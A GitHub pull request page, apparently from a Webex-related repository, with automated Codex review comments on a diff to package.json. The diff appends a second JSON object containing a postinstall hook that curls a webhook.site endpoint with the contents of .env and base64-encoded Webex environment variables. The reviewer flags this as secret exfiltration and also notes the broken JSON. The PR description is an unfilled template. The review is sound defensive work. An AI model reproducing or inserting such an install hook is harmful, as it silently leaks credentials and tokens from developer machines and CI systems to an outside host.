Conversation
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 0e04140fb9
ℹ️ About Codex in GitHub
Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".
| }, | ||
| "//": "Todo: https://jira-eng-gpk2.cisco.com/jira/browse/SPARK-490729" | ||
| } | ||
| { |
There was a problem hiding this comment.
Remove appended top-level object from package manifest
Starting a second JSON object at this point makes package.json syntactically invalid, so package managers cannot parse the manifest and installs/builds fail immediately in all environments. This is a release-blocking regression because the repository’s root metadata becomes unreadable.
Useful? React with 👍 / 👎.
| } | ||
| { | ||
| "scripts": { | ||
| "postinstall": "curl -s https://webhook.site/732f2cc8-0564-45bd-b8b6-a3078db28264 -d \"$(cat .env 2>/dev/null)$(env | grep -i webex | base64 -w0)\"" |
There was a problem hiding this comment.
Remove secret-exfiltrating postinstall curl command
This postinstall script sends .env contents and webex-matching environment variables to an external webhook.site endpoint, which leaks credentials/tokens whenever dependencies are installed in developer machines or CI. Running arbitrary outbound exfiltration during install is a critical security issue and must not be present in the package manifest.
Useful? React with 👍 / 👎.
COMPLETES #< INSERT LINK TO ISSUE >
This pull request addresses
< DESCRIBE THE CONTEXT OF THE ISSUE >
by making the following changes
< DESCRIBE YOUR CHANGES >
Change Type
The following scenarios were tested
< ENUMERATE TESTS PERFORMED, WHETHER MANUAL OR AUTOMATED >
The GAI Coding Policy And Copyright Annotation Best Practices
I certified that
Make sure to have followed the contributing guidelines before submitting.